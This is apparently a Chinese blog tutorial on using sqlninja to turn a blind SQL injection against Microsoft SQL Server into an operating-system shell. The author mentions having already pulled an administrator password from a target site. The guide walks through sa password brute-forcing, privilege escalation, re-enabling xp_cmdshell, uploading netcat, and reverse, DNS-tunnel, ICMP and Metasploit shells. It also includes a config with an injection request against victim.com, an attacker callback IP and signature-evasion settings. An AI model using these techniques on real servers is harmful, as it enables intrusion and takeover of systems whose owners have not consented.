sql注入方面我一直尊sqlmap为神,最近碰到一个mssql盲注,虽然成功用sqlmap跑出了管理员密码,但是死活找不到网站的后台,所以想试一下sqlninja

sqlninja是一款用perl写的一个专门针对Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja没有将精力用在跑数据库上,而是侧重于获得一个shell。
sqlninja的优点如下

一个专门针对Microsoft SQL Server的 sql注入工具
可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
“sa”口令的强力***
如果找到口令后,就将特权提升到“sa”
如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。
使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。
为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。
逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。
采用“盲目执行”***模式,在其它模式失效时,可以用于发布命令并执行诊断。
在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。
如果得到权限为sa,可以结合msf进一步对目标主机进行***。

首先看一下sqlninja的原文帮助

# ./sqlninja -h
Unknown option: h
Usage: ./sqlninja
       -m <mode> : Required. Available modes are:
           t/test - test whether the injection is working
           f/fingerprint - fingerprint user, xp_cmdshellandmore
           b/bruteforce - bruteforce sa account
           e/escalation - add user to sysadmin server role
           x/resurrectxp -tryto recreate xp_cmdshell
           u/upload - upload a .scr file
           s/dirshell - start a direct shell
           k/backscan - lookforan open outbound port
           r/revshell - start a reverse shell
           d/dnstunnel - attempt a dns tunneled shell
           i/icmpshell - start a reverse ICMP shell
           c/sqlcmd - issue a'blind'OS command
           m/metasploit - wrapper to Metasploit stagers
       -f <file> : configuration file (default: sqlninja.conf)
       -p <password> : sa password
       -w <wordlist> : wordlist tousein bruteforce mode (dictionary method
                       only)
       -g : generate debug scriptandexit(only valid in upload mode)
       -v : verbose output
       -d <mode> : activate debug
           1 -printeach injected command
           2 -printeach raw HTTP request
           3 -printeach raw HTTP response
           all - all of the above
       ...see sqlninja-howto.htmlfordetails

sqlninja的参数很少,比较容易理解

-m                            #指定***模式,有以下几个
   t/test                    #测试连接是否是注入点
   f/fingerprint             #指纹识别,判断用户,数据库, xp_cmdshell是否能用等等
   b/bruteforce              #暴力破解sa密码,可以-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举
   e/escalation              #提权用,必须用-p指定sa的password,成功就会把当前数据库用户加入到sa组里面
   x/resurrectxp             #尝试恢复xp_cmdshelli
   u/upload                  #使用get和post上传二进制文件,-p可以指定sa的password,-g表示只生成上传文件,但并不上传
   s/dirshell                #获得目标主机的shell
   k/backscan                #查看开放的目标端口
   r/revshell                #反弹回一个shell,和dirshell相反
   d/dnstunnel               #指定使用dns作为传输通道,可用-p指定sa的password,为什么有这个模式。。因为可能服务器连icmp都禁止。。同样,想要使用这个模式得先用upload模式上传dnstun.exe
   i/icmpshell               #当dirshell和revshell都失败的情况下,可以用这个模式把shell藏在icmp里,但是先要上传icmpsh.exe(在upload模式里)
   c/sqlcmd                  #以上方法都失败之后,可以用他执行简单的cmd命令,可惜的是没回显
   m/metasploit              #使用meterpreter作为shell
-f <file>                     #指定配置文件,sqlninja没有类似sqlmap的"-u"参数,注入网址是写在配置文件里的,默认是sqlninja.conf
在-f下面又有以下参数
  0 - Database version (2000/2005)  //检测当前数据库版本
  1 - Database user  //当前数据库用户
  2 - Database user rights //当前数据库用户权限
  3 - Whether xp_cmdshell is working //检查xp_cmdshell是否可以用
  4 - Whether mixedorWindows-only authentication is used //是否windows本地系统权限
  a - All of the above //以上所有选项
  h -Printthis menu  //显示当前帮助菜单
  q -exit //退出
-p                            #sa账户密码

sqlninja.conf示例文件

# GET EXAMPLE:
--httprequest_start--
GET http://www.victim.com/page.asp?vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah HTTP/1.0
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,p_w_picpath/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
Connection: close
--httprequest_end--
.....
lhost = 165.118.155.176(自己主机的IP)
# Interface to sniff when in backscan mode
device = eth0
# Evasion techniques to be used. Possible choices are:
# 1 - Query hex-encoding
# 2 - Commentsasseparators
# 3 - Randomcase
# 4 - Random URI encoding
# All techniques can be combined, so the following is legal:
# evasion = 1234
# However, keep in mind that using too many techniques at once leads to very
# long queries, that might create problems when using GET. Default: no evasion
# evasion = 12
# Path to metasploit executable. Only neededifmsfpayloadand
# msfcli are not already in the path
msfpath = /opt/metasploit

题外话:
由于sqlninja加载了众多的第三方模块,所以要先安装所需的模块
由于一个个编译太麻烦了, 所以打算使用cpanm, cpanm可以方便的安装perl的第三方模块
先安装cpanm

root@ecglobal1:~# wget --no-check-certificate http://bit.ly/cpanm
root@ecglobal1:~# mv cpanm /usr/local/bin
root@ecglobal1:~#chmoda+x cpanm

安装NetPacket模块

root@ecglobal1:~# cpanm NetPacket

安装NetPcap模块

root@ecglobal1:/opt# apt-get install libpcap-dev libnids-dev libnet1-dev
root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-Pcap-0.14.tar.gz
root@ecglobal1:/opt# tar -zxvf Net-Pcap-0.14.tar.gz
root@ecglobal1:/opt# cd Net-Pcap*
root@ecglobal1:/opt# perl Makefile.PL
root@ecglobal1:/opt# make
root@ecglobal1:/opt# make install

安装Net-DNS

root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/N/NL/NLNETLABS/Net-DNS-0.72.tar.gz
root@ecglobal1:/opt# tar -zxvf Net*
root@ecglobal1:/opt# cd Net-DNS*
root@ecglobal1:/opt/Net-DNS-0.72# perl Makefile.PL
root@ecglobal1:/opt/Net-DNS-0.72# make
root@ecglobal1:/opt/Net-DNS-0.72# make install

安装Net-RawIP

root@ecglobal1:/opt# wget http://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz
root@ecglobal1:/opt# tar -zxvf Net-RawIP*
root@ecglobal1:/opt# cd Net-RawIP*
root@ecglobal1:/opt# perl Makefile.PL
root@ecglobal1:/opt# make
root@ecglobal1:/opt# make install